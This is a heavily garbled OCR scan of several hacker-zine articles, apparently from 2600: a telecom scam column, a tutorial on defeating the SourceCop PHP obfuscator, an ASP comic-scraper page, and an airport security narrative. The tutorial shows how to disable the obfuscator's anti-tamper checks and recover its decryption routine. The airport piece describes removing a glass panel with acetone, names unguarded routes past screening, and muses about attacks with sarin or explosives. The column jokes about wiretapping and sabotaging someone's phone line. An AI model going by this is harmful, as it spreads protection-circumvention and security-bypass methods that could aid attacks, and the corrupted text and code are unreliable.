pay-per-call charges, or opportunities to opt
out of them.

Fventually, both the FCC and numerous
state fll.hli{' utility commissions intervencd
to stop the madness. They required Ma
Bell to block "information service” pay-per-
call numbers at no charpe upon redquest,
anl pn)hrhllud disconnection ol vour
line for failure to pay third-pary charges
tprovided that you paid vour local servic
charges on timel. Additional requirements
were placed on service providers, forcing
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them to both disclose pricing up front and
allow subscribers to hang up without being
charged if they didn't agree. Predic Tnhly, the
market for such "information services" effec-
tively dried up - after all, it's only profitable
to run a scam if you can both fo::{ a sucker
and force them to pay without recourse.

Well, fast forward to 2007 and the same
thing is happening all over again. Ever heard
of Dada Mobile? Blinko? Jamster? Until
recently | hacdn't, but | prefer to spend my
evenings in the central office performing
“service monitoring" of my subscribers'
private conversations.  Hey, if the NSA
doesn't newd a warrant, | figure that | don't
either. However, if you watch MTV, Amer-
ican Idol, or any television show with a
mainstream  audience,  you've  probably
encountered an ad for a "premium-rate text"
service offered via an SMS short code. In
other words, vote for your favorite celebrity
and get soaked on your cellutar phone bill.
Or, if you're creative, maybe soak someone
else’s ar phone bill ...

SMS short codes (referred to as Common
Short Codes or C5Cs) are five-digit and six-
digit codes issued by the CTIA, a cellular
industry lobhying group. Anyone can lease
one, at costs ranging from $500 per month
{for a randomly issued CSC) to $1000 per
month (for a vanity CSC). This gels you the
number assignment and maintenance in
the CSC database (which is performed by
NeuStar, a company that controls a shocking
percentage of cellular network infrastruc-
turey; amonyg other things, they also control
system [0 assipnments), However, owners
of CSCs must negotivte  interconnection
agreements with everv wircless carrier indi-
vidually. Alternatively, they can work with a
service provider (such as VeriSign - another
corporation with an incredible degree ol
influence in the wireless industry) who has
existing inlerconnection  agreements with
neosl carriers,

Armed with a2 short code and an intercon-
nection agreement, you're in business! Just
fool some sucker totten a child) into sending
vou o text message and you can then tack
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Ghsurd charges iwhich can recur as often as
weekly) onto their phone bill with virtual
inli]unilyA Sure, there are some voluntary
industry provisions and cades of canduct,
which in practice are just so much horse
manure, It's just like the bad old days of the
1980s. Charges are billed with scant (if any)
disclosure and wireless phone companies
threaten to shut their customers' phones ofl
if the third-party charges aren't paid. The
difference is the sheer audacity with which
this is done and the almost complete lack of
recourse. Wireless telecommunications (by
design) is a virlually unregulated industry.
Don't expect relief from the FCC or public
utility commissions on this one. And with
Congress in the pocket of lobbying groups
such as the CTIA, this problem is unlikely to
ever be solved,

(By theway, thanks, Erratic, for subscribing
my cell phone to eight separate ring tone
download and celebrity update services this
morning, | can't wail to get my hill and (
hope you don't mine that the LUSOC on your
POTS line changed to 12B. Oops, my finger
slipped.)

So, let's rewind to the 1980s again, In
1984, the long distance market was deregu-
lated. Maost subscribers stayed with AT&T, but
upstarts MCl and Sprint quickly grabbed the
Number Twa and Number Three shares in the
market respectively. By the late 1980s there
were over a dozen long distance companies
and by the early 1990s there were literally
hundreds. The market became increasingly
cutthroat and providers came up with all
sorls of interesting ways ta gain vour long
distance business. For example, one long
distance company did business as “The Phane
Company” so any (often elderly) subscriber
that asked fjor "The Phone Company” as
their long distance provider would get them
- nol surprisingly, al noncompetitive rates.
Another company, LCL, sold its services via
multilevel marketing, often alongside prod-
ucts like Amway and Mary Kay. Evidently, it
paid ofl, Today LC1 is Qwest, one of the lew
remaining Baby Bells iQwest acquired US
West in 2000). And everyane has probably
heard the story of cigar-chomping Missis-
qippi scam artist Bernie Ehhers, tormer CEO
ot WorldCom and now Inmate £56022-054
at FCI Oakdale,

With all of this competition, a prac-
tice known as "slamming” became a imajor
problem. Long distance companies would
use dubious (often bordering on unethical)
methods o switch you o their long distance
services. For example, AT&T mailed millions
of $100 checks. These looked like rebate
checks, perhaps from a legal settlement

N

(ol which there were many at the time),
However, the fine print on the back indicated
that your signature authorized switching
vour long distance service to AT&T. And
for a few years, it scemed like no dinner in
America would ever go uninterrupted by a
sales pitch from a long distance company.
Some companies didn't even bother asking
for autharization. They'd just switch you to
their long distance service (often billed at
outrageous ratesh. Many consumers didn't
even notice.

Cventually  enough  politicians — were
pers:m.}!!{ affected by the problem and the
FCC cracked down apain. Subscribors now
have the right to initiate a "PIC Freeze,"
which requires the subscriber 1o contact
their local phone company to change long
distance carriers. Unscrupulous carriers who
engage in slamming are subject to fines and
even criminal penalties. And, for the most
part, it doesn't matter much anymaore as maost
subscribers use their cell phones for long
distance these days. Without much fanfare,
AT&T exited the residential long distance
market late last year.

These days we're beginning fo see a
different kind of slamming - cell phones! For
the past few vears, you've been able to lake
vour phone number with vou when changing
carriers,  Unscrupulous  wireless  phone
companies have used this to their advantage,
They call, introduce themselves as some
thing like "Your Wireless Phone Company”
ithat's their actual company name, just like
the long distance carrier calling itsell "The
Phone Company”), and offer to send you
a new, free phone, If you agree, they will
indeed send you a free phone - along with a
brand new service |.>r:!\,irlvr, a brand new rate
plan at unfavorable rates), and a brand new
contract with a helty early termination fee.
Adding insult to injury, your previous wire-
less provider will also bill you an early termi
nation fee if vou were still in contract with
them. And all of this is being done legally,
under procedures owtlined by the FCC.
Speaking of the law of unintended conse
quences, your existing wircless provider is
prohibited by law from even warning vou
that you might be the victim of a scam.

And on that note, an outside plant techni-
cian told me that we're headed for a few sun
breaks and the clock tells me that my shist is
over, It's time to get oulside and enjov the
weather! Have a fun summer, watch oul tor
phone scams, and I'll see you again in the
fall. Or perhaps, if you're lucky enough to
visit the spectacular Pacific Northwest, you'll
even see me at a 2600 meeting!
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Deobfusca

by Kousu information like credit card numbers 1o the
original author?

Well, luckily, with scripting languages,
obfuscation is difficult 10 actually secure,
There's no way to run a generic program on
such code and result in a completely irrevers-
ible encryption for the same reason DRM s
fundamentally lawed: you have to decrypt it
somewhere in order for it to run. You'd need
some sort of selt-generating code to daoit, but
even then the very thing which makes inter-
preted languages so flexible (the eval func-
fion/statement) that would have 1o he used
to implement this can, with some effort, be
intercepted so that eventually you find the
original code. Other iricks inw)?virlg the use
of external libraries are unlikely because
of the complexity 10 the user (the one who
wants to abluscate their codel and security
reasons, especially in web development.

SourceCop

We're going 1o use as our case sludy
SourceCop,  available  from  heep:/ /ww.
= sourccop.com/ for only $30 (regular
price $451) with the nice guarantee that
SourceCop'd code runs on all of Unix/Linux/
BSD/Mac/Windows (which is nothing more
than the list of platforms for PHP..).

So, first of all we install PHP (from hetp: //
= pro. et of your local package mirror if on
a *nix), if not already installed, and then we
gel 1o work.

Looking at a SourceCop'd script we sec:

kousue@gmail.com

Boilerplate: | don't officially condone any
ol these activities, of course. Use your own
judgment.

Introduction

Compiled languages let you distribute
binaries which, although all the machine
code is there, are generally  extremely
time-consuming to disassemble. Seripting
languages do not have such a luxury. They
deal ata high level, and running code on
their level requires using high-level constructs
munlike with compiled ]anguag{'e;, where the
nutpul is very low level anc the security is
that 1) information - names, indentation,
etc. - is lost in the compilation and 2) not
many people have the skills ta do the reverse
operation),

In the seripting language world, there are
a great deal of idiots and/or liars who scam
even bigger idiots by promising that no one
will be able to "stcal” their source code.

It should send up a warning flag il you
ever consider using obfuscated code, espe-
cially if it's obfuscated. In principle, this is as
bad as binary blobs, which have led to, for
example, rootkitability of every system using
Wi-Fi. In the great tradition of paranoia of
this great zine, consider that no one knows
what the script is up to. Is it full of bugs?
Is it phoning home and giving confidential
dhcart.php #actual obfuscated script
scopbin/

5911006.php #support code

From our knowledge of CGI scripts (of which PHP scripis are a subset) in general, we
know that the website hitp: //example.org/path/te/seript/dheart . php will cause PHP to
load and run dhcart.php. PHP. being a scripting language, just runs from the top, so we can
start tracing the code immediately and looking for ways 1o get at the actual code:

$leas dhcart.php
«<?php if{!functj
= rmamre {$£14) ;
w yafolder ($£1
= phpt | $REXISTHE

...2n0ip a lot of Hex...]
SREEX1ISTHECATAFBI-"94CDT7&CDIT1CSATEC
wWeval (y0666f0acdeedlfddcdi0R4adel 739498{" 3

r{§E1A) {5F 11 -di
£1d) Y return finds
PILE_ ).'/911006.

CBTTPIADRI41

a2 £ inds
A TIP242F450FTERFREL

33IB9BA9BACASATBLIAG " ;
11EIC4449F311071C0"° , SREXISTHEDOG4AFRIY ) 1 7>

So we see that it defines a function “findsysfolder” if it doesn't exist, Al the end it calls
a function that itself has an obfuscated name ("y0666{0acdeed38d4cd084ade1739498")
with two arguments: a string of hex (probably more obfuscation?) and a variable SREXIS-
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(THED()(MFBI, which is defined as a big block of hex which is certainly the obfuscated code
(incidentally, this program always uses the same stupid variable name) and then passes this
straight into eval().

is last point is our attack vector, the weakness | spoke of. In fact, SourceCop appears
to be overly simplistic (and it probably is). It only has one eval(j call in the entire block, so
whatever this eval does is the entirety of the function of this script and what is passed inta it,
by definition of eval(), must be the plaintext code. So simply replacing eval() with a print() will
give us the code! Sure, it's possible the code could be multiple-obfuscated and that this would
just give us another obfuscated block of source code, but then you just repeat this process
until you get to the final plaintext. And that is why obfuscation is useless and why anyone who
has the gall 1o sell a shitty "product” that does it deserves to lose his balls.

Back to the code:

So we replace this eval with “print” and then hop to the command line:
§ed -/dhecart/
$php dbcart.php

$

What? Very strangely we ﬁol no output! Perhaps it's time to check out what's in that myste-
rious scopbin file (incidentally this same file is used for every SourceCopping):

§less scopbin/911006.php

<?php ini set('include path',dirname(_ FILE ));

ozl

function g0e&6f0acdendigiéssflacdeadind4cdl084adel 739498 (§8) {return (strst
mr (58, 'echo’ ) ==false? (stratr($s, 'print')==false) ? (stretr(§s, 'sprint')==

wfalse)? (strstr($s, 'sprintf') ==falge) 7false:exit () ;exit () rexit () rexit());}
[...]lini_set('include path', '.');?>

It seems to be more of the same, except helpfully PHP requires naming variables with $
signs so we can spot that these are mostly not ugfuscated code but rather awkwardly named
variables. So this here is a program. Also, PHP requires the use of {} so we can figure out what
the indentation should look like. Initially when | did this | put new lines in all the right places
and using the magic of find-and-replace | shortened all the names and traced through it trying
to understand. But the quick fix here is simpler than that and | will cut to the chase, Near the
middle we see the use of “strstr($s, ‘print’)” among others in a ternary hook chain, where all
the final else clauses are "exit()". It's a good bet that this file is looking inside our source file for
any uses of echo/print/sprint/sprintf (i.e., any attempts to do exactly what we're doing) and if
so just killing the program. Simply remaving this check should make it work, so long as there
are no other bluclg. ﬁmre are multiple ways of removing it: the quick-and-dirtiest by far is to
just rename what it's searching for.

Most reliably, replace all the exit() calls with some benign return value, like a false, as
shown. Or even better, blank the function body, remove everything, and just put a “return
false;”.

$cd ~-/dhcart/
$php dhcart.php
<?php

include “phpmailer/class.phpmailer.php®;
include "whois_servers.php";
include "language,php”;

if (!lempty{SHTTP_GET VARS)) while(list ($name, $Svalue)

== gach (SHTTP_GET_VARS)) $§name = Svalue;

if (!isset (SHTTP_SESSION VARS ['numberofitems']))
$HTTP_SESSION _VARS ['numbercficems']=0;

if (!isset (SHTTP_SESSION VARS(['numberremoved']))
SHTTP_SESSION_VARS ['numberremoved']=0;

$numdomreg=count ($register) ;
e

§#hooray, we see that it works and stop it before it's
finished. Now to save the resultas to a file.
$php dheart.php > dhcart.decrypted.php

Discussion
SourceCop is a particular!}' weak obfuscation. All it does is use a cypher function to hide
the code and then make it difficult for a human to follow the decryption code by using long
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Gmningless variable names. But the basic technique is the same for any of these syst(‘ma
ihese systems are just downright stupid. Friends Don't Let Friends Use Obluscators.

The method presented here - letting unknown code run on your system - is potentially
cdangerous. It's not implausible that an obfuscator could try to detect if it's being run wrongly
somehow and cause damage of unknown magnitucle. Sure, if that booby trap was ever set
olf incorrectly it could be very bad for the obfuseator's business, but with the level of short-
sightedness blatantly displayed here it's a perfeet possibility. It would be wise to set up a jail
system 1o test these things out on. I running a *nix you can make a chroot jail to do this.
Another method s o trace the code manually, try to figure out what it's up to, and then write
o program implementing the decryption scheme. Let's see thal now. Bul first, a preface.

In digging through SourceCop | eel like vomiting. It's disgusting, dispusting code and just
wasting CPU cyeles letting it run is nauseating,

Reverse Engineering

But anyway, here is the scophin/911006.php file indented properly:
php ini set {'include path', dirnamei{_ FILE_}};
wtion AdS40acdendifddodd0ddadel 736498 (FxA97 15904 c2ediddlb
' tHeBandd)

=i 21e3f2419%0ba, Sx276a793 16" 3idedabdEl
sturn SXewbeT793165617 d

ion b5434flacdersdifdicdsnidadel 739498 ($x897356954c20d3d4]
f24£99bba,5x276e7 iideaabdfCoireBacdB)

n $Xewbe79316561733d64abAi00f Bpsandd; }

*tign cd4lddsdlacdeadibdicda0Bdadel 719498 (JuB97356904c2ediddl
leif24£95%0ba, §x27687931 51733dedabdf00iBeRandB)
urn §Xew6e793165617313dA4abdf00fBasandn;}

funct fon XdaflacdeedIAd4cddoB4adel 739496 (5x897356054c2cd3d41b
w2 1leif24f99bba, 5x276e79116561733d64a OfBeBaedB)
[return §Xewbe791165&1731d64abdf 00f8rAandd; ]

function yO0666f0acdeedllddcdinndadel 719498 (5xB8973156954c2cd3dd ]
h221eif24099ba, $x2 7679311656171 3dédabdfo0fBeBaadn)
[

xDb43c25ecf2340023492d443141479de=" "

s 71510c08e23d2083eda280afa650b045=0;

x16754c94f20d4Baac0d6£34280507besB=6trlen ($x897356954c20d3d41b22121f24£99%bba) ;
Jxlageclhlead71lici4fbd7alead Ci0cSa=hexdec (' &H" .
= subatr ($x276e79316561733d64abdf00f8eBaed8,0,2) ) ;
forSx1b90el035d4d268e0dBb1377f3dcB85a2=2; 5x1b90e1035d4d268e0d48b1377£3dcB5al<str]
won($x276e79316561733dédabdf00fBefacdB) ; $x1b30el035d4d26Re0dAb1377f3del5a24=2)

4

Jxeh94cc26laib25a9c99ecigdadcdlbab=hexdec (trim{subatr ($x276e79316561
= '33déd4abdf00tBeBac4d, 5x1b30el035d4d2668e0dB8bl3T77£3deBbaZ, 2)));
4$%71510c08e23d2083eda2B80atat50b045« { ($x71510c0Be23d2083edaZB0afac50b045<5x16
= 154c04fledBaac0def 1428050 7hes8) P5x71510c08e23d2083eda2B0atass0b04s 4+ 1:1);
$xab63B9e47bledef 1a5267d9:fb513ces=5xe594cc261lalb2bhadci%ecTidadedlbas * ordlsubst
= (5x897356954c20d3d41b221e3f24£99bba, $x71510c0Be23d2083eda280alfas50b0o4s-1, 11
if(SxabsiB%e4/bledcflaf267dicfb513cesS<=5xT7aB6clh7eed71l3cidfbdT7alead0fochal
5xab638%e4Tbiedcfla5267d9cib5] 3ce5-255+5xabsi8%e4Tbledet la
= 5257d9cfb513ceb-5xT7a86cl57ee9713034fbd7aleed0f0c5a;
else
4$xab63f%edThledcflab267d9cib513ces5=5xab6389¢edThledcflas2
= 7d9cfb513ces5-5x7aB6c157ee9713c34fbd7aleed0£0cha;
5x0b43c25ccf2340e23492d4d314147%dc=-5x0b43c25cc£2340€23492d4
w33141479dc.chr ($xab638%e47bledcf1a5267d9cfbs13ces) ;
sx7aB6cl57ee9713ci4fbd7aleeq0f0cSa=5xe594cc26laib2ba%c3%ecTdaded1bas;

return $x0b43c25ccf2340e23492d4d3141479dc;

function £5434f0acdeediBdd4cdd0RdadelTIF4968 (5x897356954c2edliddl
wh221e3f24f99bba, $%276e79316561733d64abdf00f8eBacdB}

{

if(file_existas ($x456e79316561733d64abdf00fBedacdB) )

{unlink ($x456879316561733d64abdfc0f8efaeds); };
return SXewce79316561733d64abdi00EaeBaedn;

function j43dsd0acdeediRdd4cd9084adel 739498 (5x897356954c2cdid4l
wh321e3f24099bba, $%x2766879316561733d64abdf00f8e8a218)
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(7}ifile_exiﬁtsinéﬁﬂeT?llGEﬁ1733d54ahd!00fﬁeaaeiii‘ \
{unlink ($x456e79316561733dGdabdf D0fBedandd) ; | ;
return $Xewbe79316561733d6dabdf00fAafacdn;

function hdsflacdeedifddcdd0B4adel 719498 (§x897156954c2od3d41b
m221eif24f9%ba, 5x276079316561733dAdabdf N0 fReRasdi)

ififile_exists ($x456m79316561733d64abAl 001 BubaedB)]
{unlink {$x456e79316561733d64abdf 0nFBefaadB) ; };
return $XewteT9316561733d64abdf00f AeRandd; |

funct ion tr5434f{0acdeadldddcdi?084adel 739498 | 5x897356954cZcdidd

w1b221e3f34199%bba, Sx276e79316561733d64abdf 00f Bedasdi)

{

ififile exiatr(5x456079316561720d64abdf 00 BeBacdn))
{unlink (§x456e793165617313d64abdf 00 BaBaadn) ,; ),

return $Xew6e79116561711d64abdlo0f AnBasdn;

}

function f0666f0acdeedigddcda084ade1739498 (Bx)
{return implode('', file($x});}

function g0666f0acdeedifd4cd9084adel 719498 (58)

return (strstri$s,'echo')=<talae?
fatrstriss, 'print') ==falsej?
(stratr($s, 'sprint')e=falas)?
({screcri$s, 'sprintf')==falsa)?
falae:
exit({):
exic():
axitc{):
exitcl));

}

function hyridsdoacdeedisdicd9084adel 739498 ($xB97156954c2edidd
wlb221e3f24{99bba, $x276279316561733d6sabdl00fAaRandA)

{

if|file exists($x456e793116561713d64abdf00tBeBands))
{unlink ($x456e79316561733d64abdf 00fBeBandB) ; };

return sxew6979316551?33d64lbdt00tﬂesaeaa;}

function uygftacdeedifd4cddDsdadel 719498 (5x897356954c2cd3dalb
w3221e3f24f{99bba, §x2762793116561713d64abdfn0f8eBandB)

if{file exiats($x456e79316561733d64abdio0fdedandd))
{unlink ($x456279316561733d64abdf00fBeBaeds); };
return $xgu6219j1556173]dslahd[nﬂlsaﬂaai!;l

function drfgi4flacdeedifddcddnsdadel 739498 (5x897356954c20d3dd
= 1p221e3f24E99bba, $x2762 7931656173 1d64abdf 00 Bebandd)

if(file_exists (§x456079116561731d64abdf00fReBan48))
[unlink ($x456@79316561733d64abdf 00f8eBaedB) ; };
return $Xewte793165617331d64abdL00lBasandd ;)

funcrion jhkgvdsdtacdeedidddcdd084adel739498 (§x6897356954c20dade
w1h221e3if24E99bba, §x276e79316561731d64abdf00fBedaedd)

if(file exinta (§x456e79316561733d64abdf00fBeBaeds))
{unlink ($x456@79316561733d64abdf00E8eBacdB) ;)
raturn $Xewbe79316561733d64abdf00fBedaeds;

function yrdhhdacdeedisd4cdd084adel 739498 {5x897356954c2od3ddl
wh221elf24£99bba, $X%276879316561733d64abdf00f 8eBasdn)

if{file eximta{$x456e79316561733d64abdf00I8e8aed8) )
{unlink ($x456a879316561733d64abdf00fsesaed8); };
return $Xewée79316561733d64abdf00f8e8aed8;

ini_met {'include path','.');?>

First, you can see a lot of isomorphic functions which are probably there to throw us off - a
stupid way to try it since it's so easy to remove. This makes us suspicious.

Let's ('Keck dhcart.php for function calls (roughly approximated by searching for occur-
rences of “()”. It turns out that only three non built-in functions are actually called: sosestoac
dned)ﬂddcdénaéadel?lngB(I,gOG66ancdeed3ﬂd4cdSDB&adelT!?i?ﬁli,aﬂd y0666f0acdeedigd
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/1.-d2034ade1732498 (). The first is a simple wrapper, the second is the one thal dies if it decide3\
we're being naughty (oh la la...), the third is the one with the loop and "255+" (suggestive of
some encryption scheme). Thus the only active code in 911006.php that we know of are these
two functions, and tracing them will reveal any other active functions, and recursively doing
this will tell us which cm‘ﬁv is live and which we can dump,

f0666E0acdcadlfdicds084ade1739498() and qo666Loacderdigdacdanssade17ivana() call
nothing but built in functions, so we ignore them.

¥0666£0acdeedigddcds0ra de1733498 () is more complex, so with the aid of searching for
“(" we discover... that it calls nothing but built-ins.

So surprise sur-fucking-prise, the entire rest of the code is claptrap. To /dev/null you go!

Now to make the names more readable. The functions and their arguments can be renamed
(but then re-aliased if you wish so that the obfuscated code will still run) according to what
they seem to be doing. To rename, we use the wondrous find-and-replace feature that your
text editor should have.

Here is the code. In the interest of leaving some small amount of mystery for you to puzzle
over, I'm not going to explain it.
<7php ini_set{'include_path',dirname{_ FILE });
function decrypt (Skey, Scyphertext)

Sa=11;
§i=0;

Skeylen=strlen(§key) ;
Schar=hexdec('&H' . subsatr(§cyphertext,0,2));
for(§j=2;8j<atrlen(Scyphertext) ;$j+=2)

Scypherbyte=hexdec (trim(substr (§cyphertext, $3i, 2)));
Sim{(gicSkeylen) ? (51 + 1) : 1)
Splainbyte=$cypherbyte * ord(substr($key, §$i-1, 1));
if ($plainbyte<=Schar)
Splainbyte=255+$plainbyte-$char;
elss
S$plainbyte=$plainbyte-$char;
S8=8s.chr($plainbyte);
Schar=jcypherbyte;

return $a;

I

function yO666f0acdecd 18d1cdI0B4adel 739498 ($xB97356954c2adidal
wh221e1f24€99bba, $x2767931164%61733d64abdrN0fBeRAe48)
{return d:crypt($x897356954:2Cd3d41b221e3§24f99bh3.5K2?627931655I?EJdﬁlahdfoﬁfﬁesaela};I

function loadFile($x)
{return implode{'*,file($x));}

function f0666f0acdeediBd4cdl0R4adel7IS498 ($x)
{return loadFile($x) ;)

function checkFile!$s)
{

return lstratr($s,'echc')+-=false?
{stratr(§s, 'print')==£false)?
(stretri($s, 'sprint')««false)?
(stratr($s, 'sprintf')s«false)?
falge:
exit():
exit():
exit(}:
exit());

}

function gOA66TRacdexd3Bd4cdiOBsadelTIF490{Ss)
[return checkPile(ss);}
ini_nmet (*include_path', ' *);2>
Conclusion

Obfuscation is inefficient. Obfuscation is underhanded. Obfuscation is written by people
who assume others are really stupid and intend to exploit that. It is as close to evil as ASCI|
can get. | wrote this guide both to raise consciousness of this particular idiocy in the world
today, and to guide newbies along the path to hackerdom. | hope you found it enlightening,
Now excuse me while 1 flick this switch.
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Getting 2600

by daColombian
jmwcoeblazemail.com

Accarding to my family, am a very para-
noid person. | really don't think | am para-
noid: rather, | classity mysell as “careful.”
One al the things that | tend to be careful
aboul is purchasing the latest 2600 Maga-
zine. While | truly believe that the 2600 skaif
protects the identities of their subscribers,
P live in a very small town where evervone
knows everyone's business and | can only
imagine the uproar that the arrival of 2600
would cause.

So in order to protect the "peace,” | have
heen relegated to going 1o a bookstore in
another town to purchase it iwith cashl. The
biggest problem with this method is heing
able to know when the new issue is released.
I have to periodically stop by the aforemen-
tioned hookstore and check to see if the new
issue is oul. This quickly became trouble-
some duc to the distances involved. So | had
to laok for another answer.

<k
Option Explicit

n Error Resume MNex:

Dim oHrup, ic, iStart, iBEnd,

"hrep:
" image

vww.dilbert.com/"
coMICH

alrleil)

iSrchill

*hrep:
“TODAY '€

Emgui®

FE HTML PUBLIC

wo S JWAC/ /T

ics page</tirles

equivs"Content =it

Type® conte

<« /head-

<body »

alrla(3i),

*cexe/htmel ;

the Safe Way

| started by checking the 2600 website
every day at work (because Lonly have dialup
at home) but even that was troublesome
because the network admin is one of them

ass-hackwards” folks who thinks "hacker” is
a dirty word and would have made my life
miserable if they found aut.

What | needed was a way to view the
cover image without logging anv suspi-
cious activity. So what | ended up doing was
writing a small ASP page see code below)
that would grab the cover image of the latest
issue from the 2600 website and display it so
that | would know instantly when the new
issue was out. This would allow me to know
this by only going to my personal website.

Basically the page takes a given URI,
searches for a given token, and then returns
the associated image as a link 1o go to that
page. As you can sce from the sample code,
I also get a couple of other images for my
reading pleasure.

Good luck, stay safe, and keep your
powder dry....

1/ /www.gocomice . com/thequigmans/ *

TD HTML 4.0 Transicional//EN®=

charset swindowsa-1252">

<table width=590 cellspacing=5 cellpadding=5>
tr><td clasa='linetop’ calspan=d aligneleft valignebotto
<%
' loop through all of the URLs in the array
For a 0 to Ubound{aUrls) 1
aComica(a =
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Hext
%>

<%

£ Y
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4 ' get che text from the given page
gTemp = getLink{aUrla{a), oHttp)

if there is text
If Len!sTemp} > 0 Then

' look for the token
iComic = InStr(UCase(aTemp), UCase{aSrchia}l)

If iComic » 0 Then

' look for the image fag
iStart = InStrRev{UCase(sTemp), *<IMG", iComic)

If iScart > 0 Then

' look for the clowing » of the image tag
iend = [nScr(istart, sTemp, ">") + 1

If iEnd > 0 Then

' get the image tag text
aComics(a) = Mid{sTemp, iStart, iEnd - iStarct)

' replace the src with one pointing to the originating webaite
If InStr{aComics{a), "SRC=""/"} > 0 Then

aComica(a) = Replace{aComics{a), "SRC=""/", "SRC=""" & aUrls(a)
Elgelf InStr(aComics{a), "SCR='") > 0 Then

aComice (a) = Replace{aComicsa(a), "SRC='", "SRC='" & aUrls(a})
Else

aComics (a) = Replace(aComics(a}, "SRC=""", "SRC=""" & al:ls(a}
End If

' write the image tag out with a hyperlink ro the originating wahsite

Response.Write "<tr><td alignecenter=<a href. """ & aUrlsla) & """>"
= sComics{al & "</a></td></tr>" & vberlf

End If
End If

End If

End If

<trretd clasa='linebotton' colspan=4 align=center valign-top-snbsp;</td></trs
«/frables
~ /body~
</hrml>
Function getLink( aUrl, aHtop
Dim RefPage
On Error Resume Next

getLink = ="

' open the url
oHttp.Open "GET", sUrl, Falss

If Brr.Number = 0 Then

'send the regquest
oHtEp. Send

1f Err.Number = 0 Then

! get the response
RefPage = oHttp.responseTaxt

' return the response if the page is found
If InStr(RefPage, *NOT FOUND" } 0 Then getLink = RefPage

End If

End If

End Function

&
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Fun at the Afrport

by Evil Wrangler

[ live in a major LLS, city which, like
most major LS. cities, has a major airport
that has heen infested with Transportation
Safety Administration workers and idiotic,
restriclive security policies designed to give
the American public a false sense of safety
and provide an artificial environment for
inefficient and greedy airline companies to
continue to do business. Many suspect that
the Emperor is, in fact, naked, and recently
I took it upon myselfl to investigate whether
the vaunted airport security implemented by
the gargantuan TSA is thorough or not.

What is detailed in this narrative nudges
very close to breaking LS. laws. Under no
circumstances should anyone reading this
replicate what is written here. This account,
while factual, is for information purposes
only.

Recently | was in the airport waiting for a
flight that had been delayed. Wow, like that
never happens. It was late at night - after
8:00 pm, and since [ already had parked the
car and had about an hour to kill, | decided
that | would wander around and investigate
the lay of the land. At the time | did this, |
was dressed in jeans, sneakers, and a black
t-shirt that proclaimed: “I'm not a hacker,
I'm a security prolessional.” Really - this was
what | was wearing. Why this matters will
hecome evident shortly,

Sa I slarted by examining the physical
layout of the terminal building. Bottom floor
for arrivals and baggage claim, main floor
for tickets and check-in, and a mezzanine
for offices and food. Arrivals is boring - by
then all the fun's over. The main floor, with
ticketing and check-in, is where the TSA
does their security dance. Basically there's
a section of the floor that allows passengers
to pass through from the ticket counters 1o
the side with the gales and aircraft and over-
priced shopping. Passengers stand in long
lines, remove their shoes, and oce .miun.lHy

a TSA person pulls a grandmother out of
the line and gives her "the wand" which is a
more thorough physical search designed to
detect that yet another American's liberties
are being violated.

Unfortunately  for the TSA (and us,
perhaps) airport archilects were not aware
that the LUL.S. would become a leirorisi
targel and therefore when they laid out the
floor plans they designed them to facilitate
access, not restrict it, 5o TSA has to make
up for their shortsightedness by physically
blocking off access using those elastic rope-
and-pole gizmos accompanied by a TSA
goon or two. In addition, the entire terminal
floor, from the entranceways down 1o the
gales, is being monitored by CCTV. So in
the event somebody somewhere does some-
thing to someone sometime, it gets recorded
on videotape for later network and cable
broadcast, and for the trial of course.

In my particular unnamed major city
airport there are two large sections of the floor
staffed with TSA goons with their conveyer
belts, clastic ropes, x-ray machines, and
other paraphernalia. There also are a couple
of areas, blocked off with elastic ropes and
manned by TSA goons, where flight crew,
wheelchair passengers, etc. can proceed
from one side of the terminal 1o the other.
Basically, if you want to get to the gates, you
have 10 walk past a TSA sration. Or do you?
Well, that's what | decided to find out.

For starters | went up to the mezzanine,
above the terminal. Originally this floor was
designed to allow people to stand and gawk
at the air travelers while enjoying their lattes.
It has a terrific view of the airfield, and is
pertect for small children who want to prac-
lice spitting on helpless travelers. However,
since the terrorists mighl try something more
extreme than spitling, the entire mezzanine
floor above the gate concourse has bheen
glassed off, from the balcony to the ceiling,
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G;ing thick (but not bulletproof) glass panels
and silicone sealant.

Atthe end of the mezzanine walkway there
is a smaller panel cut to fill the remaining
space (of course the architect did not think
to design a mezzanine to be a multiple of
the length of the glass panels). That panel, on
the end far away from TSA, only had silicone
sealant bonding it to another panel - it was
not bonded to the wall.

For those not familiar with silicone
sealant, acetone, also known as nail polish
remover, will dissolve it quite effectively. So
your garden variety terrorist need only walk
into the airport, take the escalator or elevator
up to the next floor, walk to the end where
there are no peaple, fasten a suction cup
or other apparatus to the glass, and with a
couple of minutes with some acetone and
maybe a utility knife (remember, | never
went through security so | can have what-
ever | want to do this) that glass panel is
going to come loose,

What a budding terrorist would da after
that is a matter of conjecture - start shooting,
throw explosives, or just dump out your
handy container of sarin or anthrax or what-
ever and wait for the fun to begin. Or else
they could simply climb over the railing
and drop to the floor below, or use a rope
and rappel if they're going for that whole
"commando terrorist” look.

But most of us aren’t terrorists - a fact
that appears to have been lost on the U.S.
government. Why would we want to risk
injury climbing over the railing and dropping
ten or fifteen feet when we could just wa[lﬁ
down the stairs? That's right, in my particular
airport | observed several staircases that led
directly from the mezzanine down to the
gate side of the terminal main floor. Two had
imposing signs mounted on the door saying
"Restricted Access - Do Not Enter” and one
had absolutely no sign at all. That's called
"security by obscurity” and it's always a bad
idea. All three stairwells were open and
none of them had so much as an alarm. |
personally verified these facts. Had | desired
an extended stay with the federal authori-
ties | easily could have walked down the
stairs and exited onto the terminal floor on
the gate side of the terminal without having
gone through security. My entry would have
been recorded by security cameras. Talk
about meeting you at the gate!

Not inclined to do a lat of walking? Lazy
or fat hackers can take the elevator. In my
particular airport there are several eleva-
tors between the three floors. One elevator

is built so that it lets you out on the maiﬂ
floor in a narrow hallway adjacent to the
women's bathroom. If that's not enticing
enough, you can just turn around and
walk though the unlocked door to the gate
side of the terminal. The sign on the door
reads "Restricted Access - Do Not Enter,"
but there's absolutely no physical barrier
preventing someone from walking though
the door. If you're male, and you'd rather use
the men's bathroom, you can walk past the
elevator, around the T5A checkpoint which
is situated between two dividing walls, and
past the men's room to the other labeled
and unlocked door. Again, security cameras
will record your intrusion, but besides that
there's absolutely no barrier to entry.

Up on the mezzanine you get a terrific
view, mostly of cleavage and construction
dust, but also of the security camera layout.
Most of the cameras are hardwired together
and routed to a hidden security outpost.
However some of the cameras are - | am
not making this up - connected to wire-
less routers plugged into electrical sockets
nearby. Those familiar with the old X10
camera hack - if you're not just Google for
2600 and warspying - will realize that with
a laptop and some inexpensive hardware,
it is possible to override the signal of the
cameras, A cute Hollywoad illustration of
this is available in the original Speed movie
where, unfortunately, it fails to fool terrorist
